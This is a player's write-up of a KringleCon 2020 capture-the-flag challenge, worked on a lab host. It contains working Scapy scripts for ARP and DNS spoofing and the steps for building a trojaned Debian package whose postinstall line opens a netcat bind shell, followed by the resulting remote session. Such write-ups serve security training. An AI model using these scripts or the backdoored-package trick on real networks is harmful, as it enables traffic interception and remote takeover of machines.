KringleCon3 2020 Objective Nine Writeup: ARP Shenanigans

KringleCon3 Overview

KringleCon is the annual Holiday Hacking Challenge put on by the SANS Institute. Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the KringleCon YouTube Channel provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.

When KringleCon is over, players publish writeups. Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.

Objective Overview

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

Jack Frost has hijacked the host at 10.6.6.35 with some custom malware. Help the North Pole by getting command line access back to this host.

Read the HELP.md file for information to help you in this endeavor.

Elf Hints

  • Maybe we should try a machine-in-the-middle attack?
  • That could give us access to manipulate DNS responses.
  • But we’ll still need to cook up something to change the HTTP response.

Objective Detailed Writeup

Initial Findings

After logging into the system we are presented with files focusing on packet captures, Debian packages, and Scapy Python scripts:

guest@bfd2cf84e187:~$ ls -al
total 40
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 .
drwxr-xr-x 1 root  root  4096 Nov 30 18:57 ..
-rw-r--r-- 1 guest guest  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 guest guest 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 guest guest  807 Feb 25  2020 .profile
-rw-r--r-- 1 guest guest  830 Dec  5 00:00 HELP.md
drwxr-xr-x 1 guest guest 4096 Dec  7 21:11 debs
lrwxrwxrwx 1 guest guest    9 Dec  7 21:11 motd -> /etc/motd
drwxr-xr-x 1 guest guest 4096 Dec  1 15:27 pcaps
drwxr-xr-x 1 guest guest 4096 Dec  7 21:11 scripts

guest@bfd2cf84e187:~$ cd pcaps/
guest@bfd2cf84e187:~/pcaps$ ls -al
total 16
drwxr-xr-x 1 guest guest 4096 Dec  1 15:27 .
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 ..
-rw-r--r-- 1 guest guest  176 Nov 30 18:23 arp.pcap
-rwxr-xr-x 1 guest guest  220 Nov 30 18:23 dns.pcap

guest@bfd2cf84e187:~/pcaps$ cd ../scripts/
guest@bfd2cf84e187:~/scripts$ ls -al
total 16
drwxr-xr-x 1 guest guest 4096 Dec  7 21:11 .
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 ..
-rwxr-xr-x 1 guest guest 1290 Dec  4 21:34 arp_resp.py
-rwxr-xr-x 1 guest guest 1526 Dec  7 21:10 dns_resp.py

guest@bfd2cf84e187:~/scripts$ cd ../debs/
guest@bfd2cf84e187:~/debs$ ls -al
total 2556
drwxr-xr-x 1 guest guest    4096 Dec  7 21:11 .
drwxr-xr-x 1 guest guest    4096 Dec 26 18:34 ..
-rw-r--r-- 1 guest guest   94748 Dec  5 00:00 gedit-common_3.36.1-1_all.deb
-rw-r--r-- 1 guest guest   14484 Dec  5 00:00 golang-github-huandu-xstrings-dev_1.2.1-1_all.deb
-rw-r--r-- 1 guest guest  269332 Dec  5 00:00 nano_4.8-1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest   61504 Dec  5 00:00 netcat-traditional_1.10-41.1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 1662268 Dec  5 00:00 nmap_7.80+dfsg1-2build1_amd64.deb
-rw-r--r-- 1 guest guest  322680 Dec  5 00:00 socat_1.7.3.3-2_amd64.deb
-rw-r--r-- 1 guest guest  168956 Dec  5 00:00 unzip_6.0-25ubuntu1_amd64.deb

Assumptions After Initial Observations

  • Scapy will be needed based on the practice to CLI challenge
  • There are 2 Scapy programs dealing with arp and dns
  • An Elf hint says we need to MitM; arp poisoning will probably be necessary
  • The scripts indicate we will need to use Python Scapy to craft arp and dns scripts
  • The host 10.6.6.35 should be examined, try a packet capture with tshark or tcpdump

Solving

The Elf hint talks about an MitM attack. The MOTD mentions the IP address 10.6.6.35 is a host of interest. Start off by using tshark to see what type of traffic the host is generating. The ARP Who has packets with no response validates my initial assumptions about using an arp poisoning attack:

guest@bfd2cf84e187:~$ tshark -nni eth0 'host 10.6.6.35'
Capturing on 'eth0'
    1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    2 1.052009330 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    3 2.092347219 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    4 3.143949348 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35

I have a high level of confidence based on the hints, Scapy CLI practice, and arp_resp.py file in the scripts directory that Scapy is the expected method to respond to the ARP Who has packets.

I manually modified the ./scripts/arp_resp.py script to construct the proper ARP reply.

Modified fields:

  • Compromised machine: 10.6.6.35
  • Local MAC address: 02:42:0a:06:00:04
  • Remote MAC address: 4c:24:57:ab:ed:84
  • ARP response code: is-at
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src="02:42:0a:06:00:04")
        arp_response = ARP(pdst="10.6.6.35")
        arp_response.op = 'is-at'
        #arp_response.plen = 99999
        #arp_response.hwlen = 99999
        #arp_response.ptype = 99999
        #arp_response.hwtype = 99999
        arp_response.hwsrc = "02:42:0a:06:00:04"
        arp_response.psrc = "10.6.6.53"
        arp_response.hwdst = "4c:24:57:ab:ed:84"
        #arp_response.pdst = "SOMEVALUEHERE"
        response = ether_resp/arp_response
        sendp(response, iface="eth0")
def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
    main()

Right after the custom ARP reply is sent by the Scapy script, a DNS query shows up in the packet capture:

guest@32bc79941e39:~$ tshark -nni eth0 'host 10.6.6.35'                                                                                                                                                                                                                                                                            
Capturing on 'eth0'                                                                                                                                              
    8 7.272209320 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
    9 8.312108161 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35                                          
   10 8.336211565 02:42:0a:06:00:04 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:04
   11 8.352346580    10.6.6.35 → 10.6.6.53    DNS 74 Standard query 0x0000 A ftp.osuosl.org                                   

Next, I modified the dns_resp.py script to construct a DNS reply which spoofs the response of the local machines IP address.

Modified fields:

  • Compromised source machine: 10.6.6.35
  • Spoofed DNS source address: 10.6.6.53
  • Local IP address, used as the DNS query response A record: 10.6.0.4
  • Local MAC address: 02:42:0a:06:00:04
  • Remote MAC address: 4c:24:57:ab:ed:84

The key component of this modified DNS response is the construction of the DNS reply:

ns = DNS(
    id=packet[DNS].id,   # Pull the ID from the SRC packet (it is random for each query)
    qd=packet[DNS].qd, 
    aa=1, 
    rd=0, 
    qr=1, 
    qdcount=1, 
    ancount=1, 
    nscount=0, 
    arcount=0, 
    ar=DNSRR(rrname=packet[DNS].qd.qname, 
    type='A', ttl=259200, 
    rdata='10.6.0.4'))   # Set the response to the local IP address

It took a bit of trial and error to build a proper DNS packet. tshark’s DNS protocol analyzer will help determine if the DNS packet is Malformed. Here is an example of a broken DNS response:

44 41.636968759    10.6.6.53 → 10.6.6.35    DNS 104 Standard query response 0x0000 A ftp.osuosl.org A 10.6.0.2[Malformed Packet]

The final script with a valid DNS response:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src="02:42:0a:06:00:04", dst="4c:24:57:ab:ed:84")   # need to replace mac addresses
    ip  = IP(dst="10.6.6.35", src="10.6.6.53")                          # need to replace IP addresses
    udp = UDP(dport=packet[UDP].sport, sport=53)                             # need to replace ports
    dns = DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0, ar=DNSRR(rrname=packet[DNS].qd.qname, type='A', ttl=259200, rdata='10.6.0.4'))
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
    main()

After both the ARP and DNS response scripts are successfully executed, a tshark packet capture shows the remote host attempting a connection to port 80:

90 74.283397795    10.6.6.35 → 10.6.0.4     TCP 74 41228 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=762519799 TSecr=0 WS=128

The HELP.MD file mentions a python command for starting a HTTP server on port 80.

Execute the following command:

python3 -m http.server 80

The full tmux display looks like this. To run all 3 scripts at the same time, I started the arp_resp.py in the upper left, dns_resp.py in upper right, and finally the http.server in the bottom:

The logs from the http server show the remote system attempting to download a file:

guest@c5e709de3244:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [26/Dec/2020 21:30:16] code 404, message File not found
10.6.6.35 - - [26/Dec/2020 21:30:16] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

If they are downloading a .deb file, we can use a postinstall script to run code on the remote system. The following debs are included on the local system:

guest@ff953b080be3:~$ ls -al debs/
total 2556
drwxr-xr-x 1 guest guest    4096 Dec  7 21:11 .
drwxr-xr-x 1 guest guest    4096 Jan  2 22:45 ..
-rw-r--r-- 1 guest guest   94748 Dec  5 00:00 gedit-common_3.36.1-1_all.deb
-rw-r--r-- 1 guest guest   14484 Dec  5 00:00 golang-github-huandu-xstrings-dev_1.2.1-1_all.deb
-rw-r--r-- 1 guest guest  269332 Dec  5 00:00 nano_4.8-1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest   61504 Dec  5 00:00 netcat-traditional_1.10-41.1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 1662268 Dec  5 00:00 nmap_7.80+dfsg1-2build1_amd64.deb
-rw-r--r-- 1 guest guest  322680 Dec  5 00:00 socat_1.7.3.3-2_amd64.deb
-rw-r--r-- 1 guest guest  168956 Dec  5 00:00 unzip_6.0-25ubuntu1_amd64.deb

By choosing the netcat package as a starting point, we can create a server to listen on the remote system. Extract the netcat deb:

guest@ff953b080be3:~$ dpkg-deb -xv debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./netcat
./
./bin/
./bin/nc.traditional
./usr/
./usr/share/
./usr/share/doc/
./usr/share/doc/netcat-traditional/
./usr/share/doc/netcat-traditional/README.Debian
./usr/share/doc/netcat-traditional/README.gz
./usr/share/doc/netcat-traditional/changelog.Debian.gz
./usr/share/doc/netcat-traditional/copyright
./usr/share/doc/netcat-traditional/examples/
./usr/share/doc/netcat-traditional/examples/contrib/
./usr/share/doc/netcat-traditional/examples/contrib/ncmeter
./usr/share/doc/netcat-traditional/examples/data/
./usr/share/doc/netcat-traditional/examples/data/Makefile
./usr/share/doc/netcat-traditional/examples/data/README
./usr/share/doc/netcat-traditional/examples/data/data.c
./usr/share/doc/netcat-traditional/examples/data/dns-any.d
./usr/share/doc/netcat-traditional/examples/data/nfs-0.d
./usr/share/doc/netcat-traditional/examples/data/pm.d
./usr/share/doc/netcat-traditional/examples/data/pmap-dump.d
./usr/share/doc/netcat-traditional/examples/data/pmap-mnt.d
./usr/share/doc/netcat-traditional/examples/data/rip.d
./usr/share/doc/netcat-traditional/examples/data/rservice.c
./usr/share/doc/netcat-traditional/examples/data/showmount.d
./usr/share/doc/netcat-traditional/examples/data/xor.c
./usr/share/doc/netcat-traditional/examples/scripts/
./usr/share/doc/netcat-traditional/examples/scripts/README
./usr/share/doc/netcat-traditional/examples/scripts/alta
./usr/share/doc/netcat-traditional/examples/scripts/bsh
./usr/share/doc/netcat-traditional/examples/scripts/dist.sh
./usr/share/doc/netcat-traditional/examples/scripts/irc
./usr/share/doc/netcat-traditional/examples/scripts/iscan
./usr/share/doc/netcat-traditional/examples/scripts/ncp
./usr/share/doc/netcat-traditional/examples/scripts/probe
./usr/share/doc/netcat-traditional/examples/scripts/web
./usr/share/doc/netcat-traditional/examples/scripts/webproxy
./usr/share/doc/netcat-traditional/examples/scripts/webrelay
./usr/share/doc/netcat-traditional/examples/scripts/websearch
./usr/share/man/
./usr/share/man/man1/
./usr/share/man/man1/nc.traditional.1.gz

Create a postinstall script that executes a process to listen on TCP port 4444. Once a connection is made to port 4444, a bash shell is started:

guest@ff953b080be3:~$ cd netcat/
guest@ff953b080be3:~/netcat$ mkdir DEBIAN
guest@ff953b080be3:~/netcat$ echo "/bin/nc.traditional -lv -p 4444 -e /bin/bash" > DEBIAN/postinstall
guest@ff953b080be3:~/netcat$ cat <<EOF> DEBIAN/control
> Package: yourhacked
> Version: 0.666
> Section: Games and Amusement
> Priority: optional
> Architecture: i386
> Maintainer: mr. robot
> Description: remotly hack your systems
> EOF

(re)Build the Debian package with the modified postinstall script:

guest@ff953b080be3:~$ dpkg-deb --build netcat/
dpkg-deb: building package 'yourhacked' in 'netcat.deb'.

Move the file to the proper directory:

mkdir -p pub/jfrost/backdoor
mv netcat.deb pub/jfrost/backdoor/suriv_amd64.deb     

Start the web server to serve the malicious Debian package:

python3 -m http.server 80

Restart the arp and dns response scripts, once executed the remote server downloads the file:

10.6.6.35 - - [02/Jan/2021 23:10:47] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 -

After the package is download, connect to the remote host with nc:

guest@ff953b080be3:~$ nc 10.6.6.35 4444
ls -al                                                                                      
total 60                                                                                    
drwxr-xr-x   1 root root 4096 Dec 15 20:00 .                                                
drwxr-xr-x   1 root root 4096 Dec 15 20:00 ..                                               
-rwxr-xr-x   1 root root    0 Dec 15 20:00 .dockerenv
-rw-r--r--   1 root root 3618 Dec  4 21:34 NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
lrwxrwxrwx   1 root root    7 Nov  6 01:21 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15  2020 boot
drwxr-xr-x   5 root root  360 Dec 15 20:00 dev 
drwxr-xr-x   1 root root 4096 Dec 15 20:00 etc 
drwxr-xr-x   1 root root 4096 Nov 30 18:33 home
lrwxrwxrwx   1 root root    7 Nov  6 01:21 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Nov  6 01:21 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Nov  6 01:21 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Nov  6 01:21 libx32 -> usr/libx32

cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt                                                                                                           

NORTH POLE                                                                                                                                                                              
LAND USE BOARD                                                                                                                                                                          
MEETING MINUTES                                                                                                                                                                         
                                                                                                                                                                                        
January 20, 2020                                                                            
                                                                                            
Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole                                                                                           
                                                                                                                                                                                        
Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.                                                                                                              
                                                                                                                                                                                        
Roll call of Board members please:                                                          
Chairman Jack Frost - Present                                                               
Vice Chairman Mother Nature - Present                                                                                                                                                   
                                                                                                                                                                                        
Superman - Present                                                                          
Clarice - Present                                                                                                                                                                       
Yukon Cornelius - HERE!                                                                     
Ginger Breaddie - Present
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present
ALSO PRESENT:
                Kris Kringle
                Pepper Minstix
                Heat Miser
                Father Time
Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole
, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting.
Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman.  Minutes approved.
OLD BUSINESS: No Old Business.
RESOLUTIONS:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the siz
e of the current castle.  Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of
 the North Pole.”  Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.”  Chairman Frost then noted, “But the additional traffic will be a burd
en on local residents.”  Dolly explained traffic projections were all in alignment with existing roadways.  Chairman Frost then exclaimed, “But with all the attention focused on Santa
and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’”  Mr. In-the-Box pointed out that new tourist-friendly taglines are always under
 consideration by the North Pole Chamber of Commerce, and are not a matter for this Board.  Mrs. Nature made a motion to approve.  Seconded by Mr. Cornelius.  Tanta Kringle recused her
self from the vote given her adoption of Kris Kringle as a son early in his life.  
Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits

Opposed: 
                Jack Frost
Resolution carries.  Construction approved.
NEW BUSINESS:
Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc.  Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Ti
me’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two or
ders of magnitude too high.  Why, it might burn the whole North Pole down!”  Mr. H. Miser replied with a laugh, “That’s the whole point!”  The board voted unanimously to reject the ini
tial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.
Motion to adjourn – So moved, Krampus.  Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of th
e Kringle Castle expansion plan.  Meeting adjourned.

Helpful Advice

It took a while to figure out how to gain remote access to the system. You need to think creatively and McGuyver a solution with the tools available.

Answer

Who recused herself from the vote described on the document?

Tanta Kringle